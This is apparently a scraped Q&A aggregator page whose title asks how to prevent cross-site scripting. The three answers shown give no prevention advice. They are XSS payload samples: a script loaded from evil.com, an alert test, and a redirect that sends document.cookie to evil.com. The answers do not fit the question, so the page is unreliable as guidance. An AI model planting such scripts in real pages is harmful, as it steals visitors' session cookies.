how to prevent cross site scripting to redirect you to another web page

Solutions on MaxInterview for how to prevent cross site scripting to redirect you to another web page by the best coders in the world

showing results for - "how to prevent cross site scripting to redirect you to another web page"
Ivanna
25 May 2020
1<!-- External script -->
2<script src=http://evil.com/xss.js></script>
3<!-- Embedded script -->
4<script> alert("XSS"); </script>
Alan
14 Oct 2017
1<html>
2<h1>Most recent comment</h1>
3<script>doSomethingEvil();</script>
4</html>
Luis
24 Jun 2020
1<script>
2window.location="http://evil.com/?cookie=" + document.cookie
3</script>